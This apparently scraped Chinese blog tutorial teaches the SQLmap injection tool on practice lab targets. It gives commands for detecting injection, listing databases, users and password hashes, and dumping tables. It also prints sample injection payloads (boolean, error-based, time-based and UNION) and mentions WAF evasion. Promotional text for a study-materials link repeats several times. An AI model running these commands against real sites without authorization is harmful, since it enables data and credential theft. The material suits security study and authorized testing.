网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以戳这里获取
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
了解SQLmap
基础操作
SQLmap是一款自动化的SQL注入工具,可以用于检测和利用SQL注入漏洞。
以下是SQLmap的入门操作步骤:
- 1.下载SQLmap:可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。
- 2.打开终端:在终端中进入SQLmap所在的目录。
- 3.输入命令:使用以下命令运行SQLmap:
- python sqlmap.py -u <目标URL>
复制代码
其中,<;目标URL>;是指要测试的网站的URL地址。
- 1.运行测试:SQLmap会自动检测目标网站是否存在SQL注入漏洞,并给出测试结果。
- 2.利用漏洞:如果SQLmap检测到目标网站存在SQL注入漏洞,可以使用以下命令利用漏洞:
- python sqlmap.py -u <目标URL> --dbs
复制代码
这个命令将会列出目标网站的所有数据库。
- 1.获取数据:可以使用以下命令获取数据库中的数据:
- python sqlmap.py -u <目标URL> -D <数据库名> -T <表名> --dump
复制代码
其中,<;数据库名>;和<;表名>;是指要获取数据的数据库和表的名称。
功能
虽然没有官方的图形化界面,但是市面上有很多个人做的图形化插件,如果实在不熟悉命令行可以考虑换成图形化插件进行使用。
SQLMap是一个自动化的SQL注入工具,其主要功能包括:
- 扫描、发现并利用给定URL的SQL注入漏洞。
- 内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。
- 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
- 支持HTTP代理,可以在使用代理时进行注入测试。
- 支持多线程,可以同时测试多个注入点。
- 支持自定义HTTP头和Cookie。
- 支持自定义注入语句。
- 支持自定义注入深度和注入等级。
- 支持自定义报告输出格式。
- 提供waf、ips、ids检查和绕开,采用代理实现隐藏注入
- 可以导出数据库表和列,自动识别破jie哈希口令
- 支持脱库
使用SQLmap
软件安装
在kali Linux和Windows环境中都有,kali是自带SQLmap的
基础操作
SQLmap --v //显示版本信息
SQLmap -h //帮助
SQLmap -hh //详细帮助
-level=LEVEL //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。
–risk=RISK //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。
默认扫完后会把信息存储在more /root/.sqlmap/output/192.168.199.153/log 这个目录下,这是一个隐藏文件夹
GET注入原理
SQLmap是一款自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。
它可以通过GET或POST请求向Web应用程序发送恶意请求,以检测是否存在SQL注入漏洞。
以下是SQLmap进行GET注入的原理:
- SQLmap会向目标URL发送一个GET请求,同时在URL中注入恶意代码。
- 目标服务器接收到请求后,将恶意代码传递给后端数据库。如果目标应用程序存在SQL注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。
- SQLmap会分析返回的结果,以确定是否存在SQL注入漏洞。
以下是一个使用SQLmap进行GET注入的示例命令:
- sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch
复制代码
初级扫描方案
探测是否存在sql注入漏洞
对于不用登录的网站,直接指定其URL
- sqlmap -u "http://xxx/Less-1/?id=1"
复制代码
直接扫到数据库类型为mysql数据库(输入y继续):
- it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
复制代码
我们也可以使用一个参数–batch,这个参数可以省去SQLmap询问,直接选择默认项,例如上面的扫描语句可以写成:
- sqlmap -u "http://xxx/Less-1/?id=1" --batch
复制代码
扫描出id部分存在boolean盲注:
- GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
- GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
复制代码
扫描完成后,sqlmap给出了一些验证漏洞的payload信息:
- Parameter: id (GET)
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn
- Type: error-based
- Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
- Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy
- Type: time-based blind
- Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
- Payload: id=1' OR SLEEP(5)#
- Type: UNION query
- Title: Generic UNION query (NULL) - 3 columns
- Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -
复制代码
扫描结果:
- [06:28:00] [INFO] the back-end DBMS is MySQLweb application technology: Nginxback-end DBMS: MySQL >= 5.6
复制代码
对于需要登录的网站,我们需要指定其cookie
我们可以用账号密码登录,然后用bp抓取其cookie填入
- sqlmap -u "http://xxx/sqli/Less-1/?id=1" --cookie="抓取的cookie"
复制代码
对于是post提交数据的URL,我们需要指定其data参数
- sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"
复制代码
更便捷的做法:通过抓取http数据包保存为文件
这样,我们就不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便
如下,我们保存网站的访问数据包为data.txt文件:
可以看到,我的网站存在防CSRF公鸡,SQLmap注入失败
查看数据库信息
查看数据库的所有用户:
- sqlmap -u "http://xxx/Less-1/?id=1" --users
复制代码
查看数据库所有用户名的密码
- sqlmap -u "http://xxx/Less-1/?id=1" --passwords
复制代码
查看数据库当前用户
- sqlmap -u "http://xxx/Less-1/?id=1" --current-user
复制代码
扫到当前用户信息:
current user: 'sqlilabs@localhost!'
判断当前用户是否有管理权限:
- sqlmap -u "http://xxx/Less-1/?id=1" --is-dba
复制代码
当前用户是不是root用户:
current user is DBA: False
列出数据库管理员角色:
- sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles
复制代码
查看所有的数据库:
- sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs
复制代码
查看当前的数据库:
- sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db
复制代码
得到当前数据库信息:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以戳这里获取
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
current-db
- 得到当前数据库信息:
- [外链图片转存中...(img-GxotEmOl-1715878466493)]
- [外链图片转存中...(img-SBUJaAL1-1715878466494)]
- **网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
- **[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618631832)**
- **一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
复制代码